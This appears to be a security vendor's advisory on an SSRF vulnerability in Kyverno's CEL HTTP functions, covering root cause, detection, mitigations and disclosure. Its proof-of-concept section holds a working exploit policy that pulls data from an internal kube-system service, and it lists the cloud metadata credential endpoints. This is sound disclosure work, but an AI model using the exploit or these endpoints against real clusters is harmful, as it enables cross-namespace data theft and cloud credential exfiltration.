A critical SSRF (Server-Side Request Forgery, where an attacker tricks a server into making HTTP requests on their behalf) vulnerability affects Kyverno versions 1.16.0 and later. Users with namespace-scoped permissions can make arbitrary HTTP requests from the Kyverno admission controller pod, bypassing Kubernetes RBAC entirely. This enables access to internal cluster services, cross-namespace data theft, and cloud credential exfiltration via metadata endpoints. No active exploitation has been observed. A fix has been merged to the Kyverno main branch (PR #15789, April 6, 2026) but no patched release is available yet.
Note: The NVD vector uses PR:N (no privileges required). In practice, exploitation requires namespace-scoped policy creation permissions (PR:L), but no additional authentication beyond that.
Quick Overview
| Attribute | Details |
|---|---|
| CVE | CVE-2026-4789 |
| Severity | Critical (CVSS 9.8, NVD) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Affected Versions | >= 1.16.0 |
| Privileges Required | Low (namespace-scoped policy creation) |
| Exploit Complexity | Low |
| Active Exploitation | No |
| Fix Available | Fix merged to main (PR #15789, Apr 6). No patched release yet (latest: 1.17.1). |
What is Kyverno?
Kyverno is a Kubernetes-native policy engine that operates as a dynamic admission controller (a component that intercepts API requests to the Kubernetes API server before they are persisted, allowing it to validate, modify, or reject them). Organizations use it to enforce Pod Security Standards, verify image signatures, and ensure compliance.
Kyverno supports two policy categories: cluster-scoped policies (which require cluster-admin privileges) and namespaced policies (which can be delegated to namespace administrators). The security model assumes namespaced policies are restricted to their namespace. This vulnerability breaks that assumption.
Deep Dive: The Vulnerable Code
Kyverno 1.16.0 introduced CEL-based policies (CEL, or Common Expression Language, is a lightweight expression language used in Kubernetes for inline policy logic) with http.Get() and http.Post() functions. The vulnerability is in how the HTTP library is initialized in the policy compilers.
The Security Inconsistency
Compare how Kyverno’s two CEL libraries handle namespace scoping:
resource.Lib — SECURE (enforces namespace)
resource.Lib(
resource.Context{ContextInterface: libsctx},
namespace, // namespace parameter ENFORCED
resource.Latest(),
)http.Lib — VULNERABLE (no namespace enforcement)
http.Lib(
http.Context{ContextInterface: http.NewHTTP(nil)},
http.Latest(), // NO namespace, NO URL validation
)The resource.Lib takes a namespace parameter and restricts access accordingly. The http.Lib takes no such parameter. This inconsistency is the root cause: one library was built with namespace isolation in mind, the other was not.
The Vulnerable Function
Location: pkg/cel/libs/http/http.go (now in kyverno/sdk)
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// url is used directly -- NO VALIDATION
// No blocklist for 169.254.169.254
// No namespace restrictions
// No destination checks
for k, v := range headers {
req.Header.Add(k, v)
}
resp, err := r.client.Do(req)
...
}Why This Breaks Namespace Isolation
The critical insight: it matters WHERE the HTTP request originates from, not WHO wrote the policy.
When a namespaced policy calls http.Get(), the request does not execute in the context of the policy author’s identity. It executes from the Kyverno admission controller pod. This pod typically runs in the kyverno namespace with a privileged network position:
- Cluster-wide network access: Can reach any service via http://service.any-namespace.svc.cluster.local
- Cloud metadata access: Can reach http://169.254.169.254/… (the cloud provider’s instance metadata service)
- RBAC bypass: HTTP requests are network calls, not Kubernetes API calls. Kubernetes RBAC (Role-Based Access Control, the system that governs who can do what via the API) does not apply to raw network traffic.
This is why the vulnerability is critical. A namespace administrator who should only have power within their own namespace can now reach anything the Kyverno pod’s network stack can reach. The trust boundary between “namespace-scoped” and “cluster-scoped” dissolves.
Proof of Concept Walkthrough
Tested on: Kyverno v1.16.2, Helm chart 3.6.2, Kubernetes v1.35.0
Step 1: Verify the Attacker Has No Access to kube-system
$ kubectl auth can-i get pods -n kube-system \
--as=system:serviceaccount:attacker-ns:namespace-admin
no$ kubectl auth can-i get services -n kube-system \
--as=system:serviceaccount:attacker-ns:namespace-admin
noStep 2: Create a Malicious Namespaced Policy
The attacker creates a NamespacedValidatingPolicy in their own namespace. This only requires namespace-level permissions, not cluster-admin:
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-exploit
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
resources: ["configmaps"]
operations: ["CREATE"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
messageExpression: |
'EXFILTRATED: ' + string(variables.stolenData)Step 3: Trigger and Observe Exfiltrated Data
$ kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-adminResult (from PoC on kind cluster with test service in kube-system):
error: failed to create configmap: admission webhook
"nvpol.validate.kyverno.svc-fail" denied the request:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9The PoC script sets up a test service (hashicorp/http-echo) in kube-system with known placeholder values and then exfiltrates them. The attacker, who has zero RBAC access to kube-system, successfully triggered an HTTP request from the Kyverno pod to an internal service in another namespace. The response data is reflected back in the admission webhook error message. The full automated PoC script creates a kind cluster, installs Kyverno, and demonstrates the complete exploit chain end-to-end.
Cloud Metadata: The Critical Risk
Cloud metadata endpoints (the internal HTTP services at 169.254.169.254 that cloud providers use to distribute credentials and configuration to VMs) authenticate based on network position alone. If your pod can reach the endpoint, you get credentials. No password, no token, no authentication. This is by design.
This means an attacker exploiting this SSRF from a cloud-hosted Kubernetes cluster can potentially retrieve temporary cloud credentials (IAM role keys on AWS, service account tokens on GCP, managed identity tokens on Azure) that could allow further lateral movement into cloud resources outside the cluster entirely.
| Provider | Credential Endpoint | Auth |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | None |
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/ | Header only |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01 | None |
Admission Controllers as SSRF Targets: A Broader Pattern
This vulnerability is not just a Kyverno bug. It illustrates a structural pattern that defenders should look for across any admission controller or policy engine that accepts user-defined logic. Three properties combine to create SSRF risk:
- Privileged network position: Admission controllers run inside the cluster, typically with broad egress access. They are trusted infrastructure components, not user workloads.
- User-controlled input reaching network calls: When policy languages allow expressions that resolve to HTTP requests (CEL http functions, API calls, external data lookups), user-supplied content can influence where the controller connects.
- Response reflection: Error messages, audit logs, and validation responses can leak the content fetched by those requests back to the attacker.
This pattern applies beyond Kyverno. Any Kubernetes component that combines “runs with cluster-level network access” with “evaluates user-supplied expressions that can trigger outbound requests” should be audited for SSRF. OPA/Gatekeeper’s http.send in Rego, Falco’s plugin system, and custom webhook servers with templated external calls are all worth examining through this lens.
The underlying design question: should namespaced (delegated) policies ever be allowed to trigger outbound HTTP from a privileged component? In Kyverno’s case, http.Lib was likely added to support legitimate use cases like calling external validation APIs from CEL expressions. But the feature was shipped without URL restrictions, without namespace-aware scoping, and without distinguishing between cluster-scoped and namespaced policy contexts. The mitigation PR (#15729) addresses this by conditionally disabling http.Lib for namespaced policies while retaining it for cluster-scoped policies. A complete fix would also require URL validation in the kyverno/sdk library.
Detection and Hunting Guidance
1. Audit Existing Policies
Search for namespaced policies using HTTP functions:
# Find policies using http.Get or http.Post
kubectl get namespacedvalidatingpolicies -A -o yaml | \
grep -E "http\.(Get|Post)"
kubectl get namespaceddeletingpolicies -A -o yaml | \
grep -E "http\.(Get|Post)"2. Monitor Kyverno Pod Egress
Watch for connections from the Kyverno admission controller to destinations it should not be reaching:
- 169.254.169.254 (cloud metadata service)
- Services in namespaces other than kyverno or kube-system
- External destinations during policy evaluation windows
3. Log Analysis
# Splunk/SIEM pseudocode
index=kubernetes sourcetype=kyverno
| search policy_type="Namespaced*"
| search (expression="*http.Get*" OR expression="*http.Post*")
| stats count by namespace, policy_nameDefense-in-Depth Recommendations
- Apply network policies to Kyverno pods: Restrict egress from the kyverno namespace to only the Kubernetes API server and any explicitly required external services. Most Kyverno deployments do not need arbitrary outbound HTTP.
- Block metadata endpoints at the network layer: Use NetworkPolicy, iptables rules, or cloud-level firewall rules to block 169.254.169.254 from pods that do not need cloud credentials.
- Enable IMDSv2 (AWS): IMDSv2 requires a session token obtained via an HTTP PUT request before any metadata can be read. Because SSRF attacks typically use GET requests and cannot easily perform the PUT-then-GET sequence, IMDSv2 makes SSRF-based credential theft significantly harder (though not impossible in all scenarios).
- Audit and restrict policy creation RBAC: Review who has
createpermissions onnamespacedvalidatingpoliciesandnamespaceddeletingpolicies. If namespace administrators do not need CEL HTTP functions, consider restricting these API resources via RBAC or admission rules. - Monitor for the fix: Track PR #15789 (maintainer fix) and subsequent Kyverno releases. When a patched version ships, upgrade promptly.
Remediation Status
A fix has been merged to the Kyverno main branch (PR #15789, merged April 6, 2026). The original mitigation PR (#15729), submitted by the Orca Security Research Pod, was closed by the maintainers who implemented their own more comprehensive fix. The maintainer fix includes: disabling http.Lib for namespaced policies by default, a new --allowHTTPInNamespacedPolicies toggle for opt-in, HTTP blocklist/allowlist flags with defaults covering loopback, link-local, RFC-1918, cloud metadata endpoints, and CGNAT ranges, plus conformance tests.
Important: No released version contains this fix yet. The latest release is 1.17.1 (February 19, 2026). Users should upgrade as soon as a patched release ships. In the meantime, apply the network policy and RBAC mitigations described above.
Original mitigation PR: https://github.com/kyverno/kyverno/pull/15729 (closed)
Maintainer fix PR: https://github.com/kyverno/kyverno/pull/15789 (merged to main)
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-01-29 | Reported via GHSA-rggm-jjmc-3394 |
| 2026-02-04 | Follow-up to maintainers (no response) |
| 2026-02-06 | Submitted to CERT/CC |
| 2026-02-09 | CERT/CC opened case VU#655822 |
| 2026-03-24 | CVE-2026-4789 assigned |
| 2026-03-26 | Mitigation PR #15729 submitted |
| 2026-03-26 | Maintainer discussion on PR; clarification on threat model provided |
| 2026-03-30 | Coordinated public disclosure (VU#655822 published) |
| 2026-04-05 | JimBugwadia closes PR #15729, opens maintainer fix PR #15789 |
| 2026-04-06 | PR #15789 merged to main by Fjogeleit |
How Orca Security Helps
Orca’s agentless cloud security platform scans Kubernetes clusters and can identify deployments running vulnerable Kyverno versions (>= 1.16.0). Combined with Orca’s attack path analysis, security teams can prioritize remediation based on actual exposure: which clusters are internet-facing, which lack network policies restricting Kyverno egress, and which run on cloud nodes where metadata endpoint access is not blocked. This context turns a generic CVE alert into an actionable risk assessment.

References
- CVE-2026-4789 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-4789
- VU#655822 (CERT/CC): https://kb.cert.org/vuls/id/655822
- GHSA-qqrv-2hch-83q4 (public advisory): https://github.com/advisories/GHSA-qqrv-2hch-83q4
- GHSA-rggm-jjmc-3394 (original private report to maintainers)
- Mitigation PR: https://github.com/kyverno/kyverno/pull/15729 (closed)
- Maintainer fix PR: https://github.com/kyverno/kyverno/pull/15789 (merged to main)
- Related prior Kyverno SSRF fixes (different code paths): GHSA-8p9x-46gm-qfx2, GHSA-459x-q9hg-4gpq
Acknowledgments
- Discovered by: Igor Stepansky, Orca Security Research Pod
- Coordination: CERT/CC (VU#655822)
- VU Note Author: Dr. Elke Drennan, CISSP
Table of contents
- Quick Overview
- What is Kyverno?
- Deep Dive: The Vulnerable Code
- Why This Breaks Namespace Isolation
- Proof of Concept Walkthrough
- Cloud Metadata: The Critical Risk
- Admission Controllers as SSRF Targets: A Broader Pattern
- Detection and Hunting Guidance
- Defense-in-Depth Recommendations
- Remediation Status
- Disclosure Timeline
- How Orca Security Helps
Table of contents
- Quick Overview
- What is Kyverno?
- Deep Dive: The Vulnerable Code
- Why This Breaks Namespace Isolation
- Proof of Concept Walkthrough
- Cloud Metadata: The Critical Risk
- Admission Controllers as SSRF Targets: A Broader Pattern
- Detection and Hunting Guidance
- Defense-in-Depth Recommendations
- Remediation Status
- Disclosure Timeline
- How Orca Security Helps
